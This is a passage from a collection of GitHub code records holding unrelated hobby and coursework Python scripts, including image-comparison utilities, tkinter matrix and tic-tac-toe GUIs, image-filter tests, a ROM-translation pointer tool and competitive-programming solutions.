marker='o')\r\nplt.xlabel('Days')\r\nplt.ylabel('Precipitation Probability')\r\nplt.title('Actual vs. Predicted Precipitation Probability')\r\nplt.legend()\r\nplt.show()\r\n","repo_name":"qt22010/Dissertation","sub_path":"Failed/LSTM with attention attempt 1.py","file_name":"LSTM with attention attempt 1.py","file_ext":"py","file_size_in_byte":6834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11374297995","text":"import os\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\n\ndef compare_analyzer_dirs(dir1, dir2, output_dir, concat_type='horizontal', sfx_list=['.png', '.jpg', '.JPEG'], sfx_output='png', resize_factor=1, generate_video=True):\n \"\"\"\n Compare 2 analyzer directories.\n\n Parameters\n ----------\n dir1 : str\n First directory.\n dir2 : str\n Second directory.\n output_dir : str\n Output directory.\n concat_type : str, optional\n Concatenation type, one of {'horizontal', 'vertical'}.\n sfx_output : str, optional\n Suffix (file type) of output images.\n generate_video : bool, optional\n If True, a video will be generated in output directory.\n\n Returns\n -------\n None.\n \"\"\"\n\n # compare images\n images_dir1 = os.path.join(dir1, 'images')\n images_dir2 = os.path.join(dir2, 'images')\n output_images_dir = os.path.join(output_dir, 'images')\n os.makedirs(output_images_dir, exist_ok=True)\n compare_images_in_two_dirs(images_dir1, images_dir2, output_images_dir, names_type='int', concat_type=concat_type,\n sfx_list=sfx_list, sfx_output=sfx_output, resize_factor=resize_factor,\n generate_video=generate_video, fps=10)\n\n # compare metrics\n compare_images_in_two_dirs(dir1, dir2, output_dir, names_type='str', concat_type=concat_type, sfx_list=sfx_list,\n sfx_output=sfx_output, resize_factor=1, generate_video=False)\n\n return\n\n\n\ndef compare_images_in_two_dirs(dir1, dir2, output_dir, names_type='int', concat_type='horizontal', \n sfx_list=['.png', '.jpg', '.JPEG'], sfx_output='png', resize_factor=1,\n generate_video=True, fps=10):\n \"\"\"\n Compare corresponding images from 2 differect directories by concatenating them to 1 image and saving the result in\n output_dir.\n\n Parameters\n ----------\n dir1 : str\n First directory.\n dir2 : str\n Second directory.\n output_dir : str\n Output directory.\n names_type : str, optional\n File names type, one of {'int', 'str'}\n concat_type : str, optional\n Concatenation type, one of {'horizontal', 'vertical'}.\n sfx_output : str, optional\n Suffix (file type) of output images.\n generate_video : bool, optional\n If True, a video will be generated in output directory.\n\n Returns\n -------\n None.\n \"\"\"\n\n # verify that output dir exist\n if not os.path.isdir(output_dir):\n os.makedirs(output_dir, exist_ok=True)\n\n if names_type == 'int':\n # get image numbers and paths in dict in the format {image_number: image_full_path}\n images_dict_1 = {'{}'.format(int(image_name.split('.')[0])) : os.path.abspath(os.path.join(dir1, image_name))\n for image_name in os.listdir(dir1) if os.path.splitext(image_name)[1] in sfx_list}\n images_dict_2 = {'{}'.format(int(image_name.split('.')[0])) : os.path.abspath(os.path.join(dir2, image_name))\n for image_name in os.listdir(dir2) if os.path.splitext(image_name)[1] in sfx_list}\n\n # find common keys\n keys1 = np.fromiter(images_dict_1.keys(), dtype=np.int)\n keys2 = np.fromiter(images_dict_2.keys(), dtype=np.int)\n keys = np.intersect1d(keys1, keys2)\n keys = np.sort(keys)\n\n elif names_type == 'str':\n # get image numbers and paths in dict in the format {image_number: image_full_path}\n images_dict_1 = {'{}'.format(image_name.split('.')[0]): os.path.abspath(os.path.join(dir1, image_name))\n for image_name in os.listdir(dir1) if os.path.splitext(image_name)[1] in sfx_list}\n images_dict_2 = {'{}'.format(image_name.split('.')[0]): os.path.abspath(os.path.join(dir2, image_name))\n for image_name in os.listdir(dir2) if os.path.splitext(image_name)[1] in sfx_list}\n\n # find common keys\n keys1 = set(images_dict_1.keys())\n keys2 = set(images_dict_2.keys())\n keys = keys1.intersection(keys2)\n\n # iterate over keys\n for n, key in tqdm(enumerate(keys)):\n\n # read images\n img1 = cv2.imread(images_dict_1[str(key)], cv2.IMREAD_UNCHANGED)\n img2 = cv2.imread(images_dict_2[str(key)], cv2.IMREAD_UNCHANGED)\n\n # resize\n if resize_factor != 1:\n img1 = cv2.resize(img1, None, None, fx=resize_factor, fy=resize_factor)\n img2 = cv2.resize(img2, None, None, fx=resize_factor, fy=resize_factor)\n\n # concatenate images\n img_concat = concatenate_images(img1, img2, concat_type=concat_type)\n\n # save concatenate image\n key_str = '{:06d}'.format(key) if names_type == 'int' else key\n img_name = os.path.join(output_dir, '{}.{}'.format(key_str, sfx_output))\n cv2.imwrite(img_name, img_concat)\n\n if generate_video:\n output_file = os.path.join(output_dir, '..', 'video.mp4') # make video one path level above output_dir\n generate_video_from_images(output_dir, output_file, fps=fps)\n\n return\n\ndef concatenate_images(left, right, concat_type='horizontal'):\n \"\"\"\n Concatenate 2 images to 1 image.\n\n Parameters\n ----------\n left : ndarray\n Left image.\n right : ndarray\n Right image.\n concat_type : str, optional\n Concatenation type, one of {'horizontal', 'vertical'}. Default is 'horizontal'.\n If 'vertial', left is top and right is bottom.\n\n Returns\n -------\n image_concat : ndarray\n Output image.\n \"\"\"\n\n # select concatenation axis\n if concat_type == 'horizontal':\n axis = 1\n elif concat_type == 'vertical':\n axis = 0\n\n # verify that images hase the same size, adjust sizes if neccesary\n left, right = match_image_size(left, right)\n\n # concatenate images\n img_concat = np.concatenate((left, right), axis=axis)\n\n return img_concat\n\ndef match_image_size(img1, img2):\n \"\"\"\n Match images size such that both images will have the same size, by padding zeros to the smaller image.\n\n Parameters\n ----------\n img1 : ndarray\n First input image.\n img2 : ndarray\n Secong input image.\n\n Returns\n -------\n img1_padd : ndarray\n First output image.\n img2_pad : ndarray\n Secong output image.\n \"\"\"\n\n # get images shape\n h1, w1, c = img1.shape # assume that both images have the same number of color channels c\n h2, w2, c = img2.shape\n\n # get maximum values\n h_max = np.maximum(h1, h2)\n w_max = np.maximum(w1, w2)\n\n # pad images as needed\n if (h1 < h_max) or (w1 < w_max):\n img1_pad = np.zeros((h_max, w_max, c), dtype=img1.dtype)\n img1_pad[0:h1, 0:w1] = img1\n else:\n img1_pad = img1\n\n if (h2 < h_max) or (w2 < w_max):\n img2_pad = np.zeros((h_max, w_max, c), dtype=img2.dtype)\n img2_pad[0:h2, 0:w2] = img2\n else:\n img2_pad = img2\n\n return img1_pad, img2_pad\n\ndef generate_video_from_images(images_dir, output_file, fps=10, max_frames_num=None):\n \"\"\"\n Generate video file from images diretory.\n\n Parameters\n ----------\n images_dir : str\n Images directory.\n output_file : str\n Output video file name.\n fps : int, optional\n Video frame rate.\n max_frames_num : int, optional\n If not None, sets the maximum number of images from which the video will be created.\n\n Returns\n -------\n None.\n \"\"\"\n # get image list\n image_list = sorted([os.path.join(images_dir, file_name) for file_name in os.listdir(images_dir)]) #if file_name.endswith(img_sfx)]\n\n if max_frames_num is not None:\n image_list = image_list[:max_frames_num]\n\n N = len(image_list)\n\n # get image shape\n img = cv2.imread(image_list[0], cv2.IMREAD_UNCHANGED)\n try:\n h, w, c = img.shape\n except:\n h, w = img.shape\n c = 0\n\n # instantiate video object\n fourcc = cv2.VideoWriter_fourcc(*'DIVX')\n video = cv2.VideoWriter(output_file, fourcc, fps, (w, h))\n\n # write images to video\n for n, img_name in tqdm(enumerate(image_list), desc='generating video - {}'.format(os.path.basename(images_dir))):\n img = cv2.imread(img_name, cv2.IMREAD_UNCHANGED)\n video.write(img)\n\n cv2.destroyAllWindows()\n video.release()\n\n return\n","repo_name":"moshes7/odeval","sub_path":"analyze/compare.py","file_name":"compare.py","file_ext":"py","file_size_in_byte":8399,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"32879659018","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Nov 6 15:24:10 2019\r\n\r\n@author: 82109\r\n\"\"\"\r\n\r\n\r\n'''step 1 : window and functions'''\r\nimport tkinter\r\nfrom tkinter import *\r\nimport numpy as np\r\nfrom tkinter.simpledialog import *\r\n\r\nwindow=Tk()\r\nwindow.title('Inverse_Matrix__==__15113369_홍성래')\r\nwindow.resizable(width=True, height=True)\r\n\r\nn=0\r\nmatrix=np.array([[]])\r\nIn=np.array([])\r\nadj=np.array([])\r\ndet=0\r\nentlist=[]\r\n\r\ndef zeros(a, b):\r\n temp_in = []\r\n temp_out = []\r\n for i in range(b):\r\n temp_in.append(0)\r\n for j in range(a):\r\n temp_out.append(temp_in)\r\n mat = np.array(temp_out)\r\n return mat\r\n\r\ndef matmul(A, B):\r\n mat = zeros(n,n)\r\n for i in range(n):\r\n for j in range(n):\r\n value = 0\r\n for k in range(n):\r\n value += A[i,k] * B[k,j]\r\n mat[i,j] = round(value, 10)\r\n return mat\r\n\r\ndef delete(A, b, c):\r\n rows = A.shape[0]\r\n columns = A.shape[1]\r\n if c == 0: # delete 'b'th row\r\n mat = zeros(rows - 1, columns)\r\n k = 0\r\n for i in range(rows):\r\n if i != b:\r\n for j in range(columns):\r\n mat[k,j] = A[i,j]\r\n k += 1\r\n elif i == b:\r\n pass\r\n return mat\r\n elif c == 1: # delete 'b'th column\r\n mat = zeros(rows, columns - 1)\r\n k = 0\r\n for i in range(columns):\r\n if i != b:\r\n for j in range(rows):\r\n mat[j,k] = A[j,i]\r\n k += 1\r\n elif i == b:\r\n pass\r\n\r\n return mat\r\n elif c != 0 and c != 1:\r\n print(\"Caution! 3rd parameter can be only 0 or 1\")\r\n \r\n\r\n'''step 2 : Is determinant = 0 or != 0 ?'''\r\n#np.delete(matrix,i_th,0=row and 1=column)\r\n#matrix.shape : returns m and n by tuple (m,n)\r\n#matrix.shape[0=row and 1=column] : returns the number of compnents of rows or columns\r\ndef det(A):\r\n if A.shape != (1,1):\r\n return sum([(-1)**i * A[i, 0] * det(delete(delete(A, 0, 1), i, 0)) for i in range(A.shape[0])])\r\n else:\r\n return A[0,0]\r\n \r\n\r\n\r\n'''step 3 : GUI'''\r\ndef ok():\r\n global n\r\n if (ent1.get()).isdigit()==True and (ent1.get())!=0:\r\n n=int(ent1.get())\r\n matrixEnt(n)\r\n else:\r\n messagebox.showinfo('ERROR','Invalid value')\r\n \r\n\r\ndef matrixEnt(n):\r\n for j in range(n):\r\n for i in range(n):\r\n ent=tkinter.Entry(window, width=3)\r\n ent.grid(row=j+4,column=2*i+1)\r\n entlist.append(ent)\r\n pass\r\n\r\n label1.grid(row=0,column=0,columnspan=n*2)\r\n ent1.grid(row=1,column=0,columnspan=n*2)\r\n okButton.grid(row=1,column=1,columnspan=n*2)\r\n label2.grid(row=3,column=0,columnspan=n*2)\r\n searchButton.grid(row=n+4,column=0,columnspan=n*2)\r\n\r\n\r\n\r\n\r\n\r\n'''step 4 : DEF; Search Inverse Function'''\r\ndef inverse():\r\n global matrix\r\n matrix=zeros(n,n)\r\n for i in range(n):\r\n for j in range(n):\r\n matrix[i,j]=entlist[i*n+j].get()\r\n \r\n if det(matrix)==0:\r\n messagebox.showinfo('ERROR','det(A)=0, No inv. matrix exists.')\r\n else:\r\n global adj\r\n adj=zeros(n,n)\r\n for i in range(n):\r\n for j in range(n):\r\n adj[j,i]=((-1)**(i+j))*det(delete(delete(matrix,i,0),j,1))\r\n \r\n global inverseMatrix\r\n inverseMatrix=(1/det(matrix))*adj\r\n print(matmul(matrix, inverseMatrix))\r\n \r\n \r\n label1=tkinter.Label(window,text=\"▼InverseMatrix\")\r\n label1.grid(row=n+10,column=0,columnspan=n*2)\r\n label2=tkinter.Label(window,text=inverseMatrix)\r\n label2.grid(row=n+11,column=0,columnspan=n*2)\r\n label3=tkinter.Label(window,text=\"▼A x InverseMatrix\")\r\n label3.grid(row=n+12,column=0,columnspan=n*2)\r\n label=tkinter.Label(window,text=matmul(inverseMatrix,matrix))\r\n label.grid(row=n+13,column=0,columnspan=n*2)\r\n label3=tkinter.Label(window,text='Coded by 15113369 HONG')\r\n label3.grid(row=n+14,column=0,columnspan=n*2)\r\n\r\n\r\nlabel1=tkinter.Label(window,text=\"Only (n X n) matrix is calculated. \\nWrite down the value of 'n'\"\r\n ,font=('',15))\r\nlabel1.grid(row=0,column=0,columnspan=2)\r\nent1=tkinter.Entry(window,width=3)\r\nent1.grid(row=1,column=0,columnspan=2)\r\nokButton=tkinter.Button(window,text='OK',bg='blue',fg='white',command=ok)\r\nokButton.grid(row=1,column=1,columnspan=2)\r\nlabel2=tkinter.Label(window,text=\"------------------------------\",font=('',10))\r\nlabel2.grid(row=3,column=0)\r\nsearchButton=tkinter.Button(window,text='GET Inverse',command=inverse)\r\n\r\n\r\n\r\n\r\nwindow.mainloop() ","repo_name":"HongSungRae/Inverse","sub_path":"Invers15113369홍성래.py","file_name":"Invers15113369홍성래.py","file_ext":"py","file_size_in_byte":4643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25428732992","text":"from instapy import grayscale_image as ipg\nfrom instapy import sepia_image as ips\nimport cv2\nimport numpy as np\n\nimg = cv2.imread('./rain.jpg')\n\n\ndef test_grey_shape():\n grey = ipg.grayscale_image(\"numpy\", img)\n assert len(grey.shape) == 2\n\n\ndef test_sepia_shape():\n sepia = ips.sepia_image(\"numpy\", img)\n assert len(sepia.shape) == 3\n\n\ndef test_gray_pixel():\n img = cv2.imread('./rain.jpg')\n gray = ipg.grayscale_image(\"numpy\", img)\n img = np.dot(img[..., :3], [0.21, 0.72, 0.07])\n img = img.astype(\"uint8\")\n assert img[113, 67] == gray[113, 67]\n\n\ndef test_sepia_pixel():\n img = cv2.imread('./rain.jpg')\n sepia = ips.sepia_image(\"numpy\", img)\n sepia_array = np.array([[0.272, 0.534, 0.131], [0.349, 0.686, 0.168], [0.393, 0.769, 0.189]])\n img = img.dot(sepia_array.T)\n img[img > 255] = 255\n img = img.astype(\"uint8\")\n assert img[231, 46, 1] == sepia[231, 46, 1]\n","repo_name":"carlsen1996/3110-assignments","sub_path":"assignment4/test_instapy.py","file_name":"test_instapy.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73149308035","text":"#!/usr/bin/python\n# -*- coding:utf-8 -*-\n\"\"\"Usage: jw_insert_pointers.py <pointersfile> <translationfile> [<outputfile>]\n\nHelping script for manipulating Jungle Wars text.\n\nArguments\n <pointersfile> YAML file containing the pointers\n <translationfile> YAML file containing the translation\n <outputfile> File in which to save the results, if not given, doing in translationfile\n\"\"\"\nimport sys\nfrom docopt import docopt\nfrom translation_table import TranslationTable\nimport pyaml\nimport yaml\nfrom yaml.constructor import Constructor\n\n\nclass HexInt(int):\n pass\n\n\ndef representer(dumper, data):\n return yaml.ScalarNode('tag:yaml.org,2002:int', \"{0:#0{1}x}\".format(data, 7))\n\n\npyaml.add_representer(HexInt, representer)\n\n\ndef add_hexint(self, node):\n print(node)\n return HexInt(node)\n\n\ndef my_construct_mapping(self, node, deep=False):\n data = self.construct_mapping_org(node, deep)\n return {(HexInt(key) if isinstance(key, int) else key): (HexInt(data[key]) if isinstance(data[key], int) else data[key]) for key in data}\n\n\n\nif __name__ == '__main__':\n\n yaml.SafeLoader.construct_mapping_org = yaml.SafeLoader.construct_mapping\n yaml.SafeLoader.construct_mapping = my_construct_mapping\n\n\n arguments = docopt(__doc__, version='1.0')\n\n pointersfile = open(arguments[\"<pointersfile>\"], encoding='utf-8')\n pointers = yaml.safe_load(pointersfile)\n pointersfile.close()\n\n translationfile = open(arguments[\"<translationfile>\"], encoding='utf-8')\n translation = yaml.safe_load(translationfile)\n translationfile.close()\n\n remaining_pointers = dict()\n\n for location in pointers:\n if location in translation[\"script\"] and translation[\"script\"][location][\"pointer_location\"] == 0:\n guesses = pointers[location][\"confident\"]\n if len(guesses) > 1:\n remaining_pointers[\"{0:#0{1}x}\".format(location, 7)] = {\"confident\": [\"{0:#0{1}x}\".format(g, 7) for g in guesses]}\n translation[\"script\"][location][\"pointer_location\"] = HexInt(guesses[0])\n\n print(pyaml.dump(remaining_pointers, indent=2, vspacing=[2, 1], width=float(\"inf\"), string_val_style='\"'))\n\n outputfile = None\n if arguments[\"<outputfile>\"]:\n outputfile = arguments[\"<outputfile>\"]\n else:\n outputfile = arguments[\"<translationfile>\"]\n \n f = open(outputfile, 'w', encoding='utf-8')\n f.write(pyaml.dump(translation, indent=2, vspacing=[2, 1], width=float(\"inf\"), string_val_style='\"'))\n f.close()\n","repo_name":"grungi-ankhfire/gbromhack","sub_path":"scripts/jw_insert_pointers.py","file_name":"jw_insert_pointers.py","file_ext":"py","file_size_in_byte":2493,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"9344929719","text":"t = int(input())\nwhile t > 0:\n inp = input()\n arr = input()\n inp = inp.split() \n n = int(inp[0])\n z1 = int(inp[1])\n z2 = int(inp[2])\n arr = arr.split()\n arr = [int(value) for value in arr]\n for i in range(n):\n arr.append(-1 * arr[i])\n flag = 0\n for val in arr:\n if val == z1 or val == z2:\n flag = 1\n print(1)\n break\n cnt = 0\n for val1 in arr:\n if val1 - z1 in arr or val1 - z2 in arr:\n cnt += 1\n if cnt == len(arr) and not flag == 1:\n flag = 2\n print(2)\n if flag == 0:\n print(0)\n t -= 1","repo_name":"sidk-10/competitive-programming-solutions","sub_path":"CodeChef/JAGAM/JAGAM.py","file_name":"JAGAM.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"26848453053","text":"\"\"\"\nUAMS測資mock\n\"\"\"\n\nclass Request():\n \"\"\"偽裝Django的request和session\"\"\"\n def __init__(self):\n from django.http import HttpRequest\n from KB import settings as st\n from django.conf import settings\n settings.configure(\n DEBUG=True,\n TEMPLATE_DEBUG=True,\n DATABASES=st.DATABASES,\n INSTALLED_APPS=st.INSTALLED_APPS,\n MIDDLEWARE_CLASSES=st.MIDDLEWARE_CLASSES\n )\n from django.contrib.sessions.middleware import SessionMiddleware\n self.request = HttpRequest()\n middleware = SessionMiddleware()\n middleware.process_request(self.request)\n\n def generate(self):\n return self.request\n","repo_name":"LYTzeng/KanbanBoardsSystem","sub_path":"kanban/testing/mock.py","file_name":"mock.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"37039098484","text":"from pprint import pprint\n\nwith open(\"input\", \"r\") as file:\n text = file.read().replace(\"L\", \"#\").splitlines()\n\ndef get_surround(text, x, y):\n surround = \"\"\n\n xlower = -1 if x > 0 else 0\n ylower = -1 if y > 0 else 0\n\n for i in range(xlower, 2):\n for j in range(ylower, 2):\n if i == 0 and j == 0:\n continue\n \n try:\n surround += text[y+j][x+i]\n except:\n pass\n\n return surround\n\n\nwhile True:\n seats = text.copy()\n\n for y in range(len(text)):\n\n ystr = \"\"\n for x in range(len(text[y])):\n\n if text[y][x] == '.':\n ystr += '.'\n continue\n\n surround = get_surround(text, x, y)\n\n if surround.count(\"#\") == 0:\n ystr += \"#\"\n continue\n\n if surround.count(\"#\") >= 4:\n ystr += \"L\"\n continue\n\n ystr += text[y][x]\n\n # print(ystr)\n seats[y] = ystr\n \n print(sum([i.count('#') for i in seats]))\n\n del text\n text = seats.copy()\n\n","repo_name":"GrbavaCigla/AdventOfCode","sub_path":"2020/11/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72512357955","text":"'''\nGiven the root of a binary tree, return the inorder traversal of its nodes' values.\n\nConstraints:\n- The number of nodes in the tree is in the range [0, 100].\n- -100 <= Node.val <= 100\n'''\n\n# ATTEMPT 1: Recursion (don't really get it)\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def inorderTraversal(self, root: Optional[TreeNode]) -> List[int]:\n # https://www.javatpoint.com/inorder-traversal\n # Inorder traversal technique follows the Left Root Right policy = left subtree of the root node is traversed first, \n # then the root node, and then the right subtree of the root node is traversed\n # print(f'Root: {root}')\n\n # if root == None:\n # return None\n # elif root.left == None and root.right == None: # elif len(root) == 1:\n # return [root.val]\n if root is not None:\n # print(f'GOING LEFT: {self.inorderTraversal(root.left)}')\n # print(f'[root.val]: {[root.val]}')\n # print(f'GOING RIGHT: {self.inorderTraversal(root.right)}')\n\n # First, always go down the left tree is there is one\n # If not, return the value\n # Otherwise, go down the right tree is there is one\n result = \\\n self.inorderTraversal(root.left) + \\\n [root.val] + \\\n self.inorderTraversal(root.right)\n # print(f'RESULT: {result}')\n return result\n else:\n return []\n ","repo_name":"newns92/leetcode","sub_path":"python3/easy/94_BinaryTreeInorderTraversal.py","file_name":"94_BinaryTreeInorderTraversal.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16687467767","text":"def twoSum(nums, target):\n map = {}\n for i in range(len(nums)):\n complementary = target - nums[i]\n if complementary in map:\n return [i, map.get(complementary)]\n map[nums[i]] = i\n return [-1, -1]\n\n\n","repo_name":"ziwenyd/ZiwenY_PRJ_Tree2Tree_Program_Translation","sub_path":"parser/data/train_data/py/py_train_1.py","file_name":"py_train_1.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"362842181","text":"from socketclient import SocketClient\nimport json\n\nclass WSD:\n def __init__(self, host, port):\n self.host = host\n self.port = port\n\n def disambiguate(self, annotations, text):\n all_queries = ''\n for (start, end), concepts in annotations.items():\n query = {}\n\n query['cuis'] = {}\n for concept in concepts:\n query['cuis'][concept['cui']] = concept['name']\n query['cuis'] = json.dumps(query['cuis']).replace(\"'\", \"\\\\'\")\n\n query['sl'] = f'{start}-{end}'\n query['text'] = text[:-1]\n\n all_queries += json.dumps(query) + '\\t\\t\\t'\n\n socket_client = SocketClient(self.host, self.port)\n responses = socket_client.send(all_queries)\n\n for response in responses.split('\\t\\t\\t'):\n response = json.loads(response)\n\n span = response['sl'].split('-')\n start = int(span[0])\n end = int(span[1])\n\n for concept in annotations[(start, end)]:\n if concept['name'] == response['names']:\n annotations[(start, end)] = concept\n break\n return annotations","repo_name":"janinaj/semrep-py","sub_path":"wsd.py","file_name":"wsd.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"15689916108","text":"from tkinter import *\nfrom tkinter import messagebox\nwindow=Tk()\n\n#Creating Window\nwindow.title(\"TIC-TAC-TOE\")\nwindow.geometry(\"600x350\")\n\n#Adding lables\nlb1 = Label(window, text='Welcome to the Game!!', font=('Times','25'))\nlb1.grid(row=0,column=0)\nlb1 = Label(window, text='Player 1: X', font=('Times','20'))\nlb1.grid(row=1,column=0)\nlb1 = Label(window, text='Player 2: O', font=('Times','20'))\nlb1.grid(row=2,column=0)\n\n#logic of game\nturn=1\n\ndef click1():\n global turn\n if btn1[\"text\"]==\" \":\n if turn ==1:\n turn=2\n btn1[\"text\"]='X'\n elif turn==2:\n turn=1\n btn1[\"text\"]='O'\n check()\ndef click2():\n global turn\n if btn2[\"text\"]==\" \":\n if turn ==1:\n turn=2\n btn2[\"text\"]='X'\n elif turn==2:\n turn=1\n btn2[\"text\"]='O'\n check()\ndef click3():\n global turn\n if btn3[\"text\"]==\" \":\n if turn ==1:\n turn=2\n btn3[\"text\"]='X'\n elif turn==2:\n turn=1\n btn3[\"text\"]='O'\n check()\ndef click4():\n global turn\n if btn4[\"text\"]==\" \":\n if turn ==1:\n turn=2\n btn4[\"text\"]='X'\n elif turn==2:\n turn=1\n btn4[\"text\"]='O'\n check()\ndef click5():\n global turn\n if btn5[\"text\"]==\" \":\n if turn ==1:\n turn=2\n btn5[\"text\"]='X'\n elif turn==2:\n turn=1\n btn5[\"text\"]='O'\n check()\ndef click6():\n global turn\n if btn6[\"text\"]==\" \":\n if turn ==1:\n turn=2\n btn6[\"text\"]='X'\n elif turn==2:\n turn=1\n btn6[\"text\"]='O'\n check()\ndef click7():\n global turn\n if btn7[\"text\"]==\" \":\n if turn ==1:\n turn=2\n btn7[\"text\"]='X'\n elif turn==2:\n turn=1\n btn7[\"text\"]='O'\n check()\ndef click8():\n global turn\n if btn8[\"text\"]==\" \":\n if turn ==1:\n turn=2\n btn8[\"text\"]='X'\n elif turn==2:\n turn=1\n btn8[\"text\"]='O'\n check()\ndef click9():\n global turn\n if btn9[\"text\"]==\" \":\n if turn ==1:\n turn=2\n btn9[\"text\"]='X'\n elif turn==2:\n turn=1\n btn9[\"text\"]='O'\n check()\n\nflag=1\n#check() to see which player has won the match\ndef check():\n global flag\n #extracting text from buttons\n b1 = btn1[\"text\"]\n b2 = btn2[\"text\"]\n b3 = btn3[\"text\"]\n b4 = btn4[\"text\"]\n b5 = btn5[\"text\"]\n b6 = btn6[\"text\"]\n b7 = btn7[\"text\"]\n b8 = btn8[\"text\"]\n b9 = btn9[\"text\"]\n flag=flag+1\n #comparing values\n if b1==b2 and b1==b3 and b1=='O' or b1==b2 and b1==b3 and b1=='X':\n win(btn1[\"text\"])\n if b4==b5 and b4==b6 and b4=='O' or b4==b5 and b4==b6 and b4=='X':\n win(btn4[\"text\"])\n if b7==b8 and b7==b9 and b7=='O' or b7==b8 and b7==b9 and b7=='X':\n win(btn7[\"text\"])\n if b1==b4 and b1==b7 and b1=='O' or b1==b4 and b1==b7 and b1=='X':\n win(btn1[\"text\"])\n if b2==b5 and b2==b8 and b2=='O' or b2==b5 and b2==b8 and b2=='X':\n win(btn2[\"text\"])\n if b3==b6 and b3==b9 and b3=='O' or b3==b6 and b3==b9 and b3=='X':\n win(btn3[\"text\"])\n if b1==b5 and b1==b9 and b1=='O' or b1==b5 and b1==b9 and b1=='X':\n win(btn1[\"text\"])\n if b7==b5 and b7==b3 and b1=='O' or b7==b5 and b7==b3 and b7=='X':\n win(btn7[\"text\"])\n if flag==10:\n messagebox.showinfo(\"Tie\", \"Match Tied!! \\n Try Again :)\")\n window.destroy() #termintes program\n \ndef win(player):\n ans= \"Game Complete - \"+player+\" wins!\";\n messagebox.showinfo(\"Congratulations\",ans)\n window.destroy() #terminates program\n\n\n#Adding buttons(3X3 grid)\nbtn1 = Button(window, text= \" \", bg=\"blue\", fg=\"white\", width=5, height=2, font=('Times','20'), command=click1) \nbtn1.grid(row=1,column=1)\nbtn2 = Button(window, text= \" \", bg=\"blue\", fg=\"white\", width=5, height=2, font=('Times','20'), command=click2)\nbtn2.grid(row=1,column=2)\nbtn3 = Button(window, text= \" \", bg=\"blue\", fg=\"white\", width=5, height=2, font=('Times','20'), command=click3)\nbtn3.grid(row=1,column=3)\nbtn4 = Button(window, text= \" \", bg=\"blue\", fg=\"white\", width=5, height=2, font=('Times','20'), command=click4) \nbtn4.grid(row=2,column=1)\nbtn5 = Button(window, text= \" \", bg=\"blue\", fg=\"white\", width=5, height=2, font=('Times','20'), command=click5)\nbtn5.grid(row=2,column=2)\nbtn6 = Button(window, text= \" \", bg=\"blue\", fg=\"white\", width=5, height=2, font=('Times','20'), command=click6)\nbtn6.grid(row=2,column=3)\nbtn7 = Button(window, text= \" \", bg=\"blue\", fg=\"white\", width=5, height=2, font=('Times','20'), command=click7) \nbtn7.grid(row=3,column=1)\nbtn8 = Button(window, text= \" \", bg=\"blue\", fg=\"white\", width=5, height=2, font=('Times','20'), command=click8)\nbtn8.grid(row=3,column=2)\nbtn9 = Button(window, text= \" \", bg=\"blue\", fg=\"white\", width=5, height=2, font=('Times','20'), command=click9)\nbtn9.grid(row=3,column=3)\n\nwindow.mainloop()\n","repo_name":"pallavivaswani/basic-tic-tac-toe","sub_path":"tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":5050,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"19354788249","text":"import pandas\r\nimport json\r\nimport csv\r\nfrom PopulationFinder import population_scrapper\r\n\r\n\r\ndef itfile(filepath):\r\n '''Iterable File[ITFILE]'''\r\n file = open(filepath)\r\n fp = csv.reader(file)\r\n return fp\r\n\r\n\r\ndef geodata():\r\n \"\"\"\r\n embeds the longitude and latitude of all the countries\r\n with the population of those countries thereby providing\r\n information regarding population region which can be used\r\n to map the data.\r\n \"\"\"\r\n population_scrapper(\r\n \"http://www.worldometers.info/world-population/population-by-country/\")\r\n index = 0\r\n file = open('world.json', 'w+')\r\n i = []\r\n country = []\r\n geometry = json.load(open('countries.json'))\r\n population = itfile('populationdata.csv')\r\n index = 0\r\n\r\n for row in population:\r\n if (row[1] != 'Country'):\r\n country.append(row[1])\r\n for j in range(3):\r\n index = 0\r\n for i in geometry['features']:\r\n if (i['properties']['ADMIN'] in country):\r\n pass\r\n else:\r\n del geometry['features'][index]\r\n index += 1\r\n index = 0\r\n\r\n for i in geometry['features']:\r\n population = itfile('populationdata.csv')\r\n count = 0\r\n for column in population:\r\n if (i['properties']['ADMIN'] == column[1]):\r\n i['properties']['POP2018'] = column[2]\r\n count = 1\r\n int(i['properties']['POP2018'])\r\n if(count == 0):\r\n pass\r\n #del geometry['features'][index]\r\n\r\n json.dump(geometry, file)\r\n file.close()\r\n","repo_name":"sourcificer/colorwise-population-mapper","sub_path":"geometrydata.py","file_name":"geometrydata.py","file_ext":"py","file_size_in_byte":1625,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"25618835358","text":"import sys\nsys.stdin = open('16935.txt', 'r')\n\n# 상하반전\ndef upside_down(lst, N, M):\n 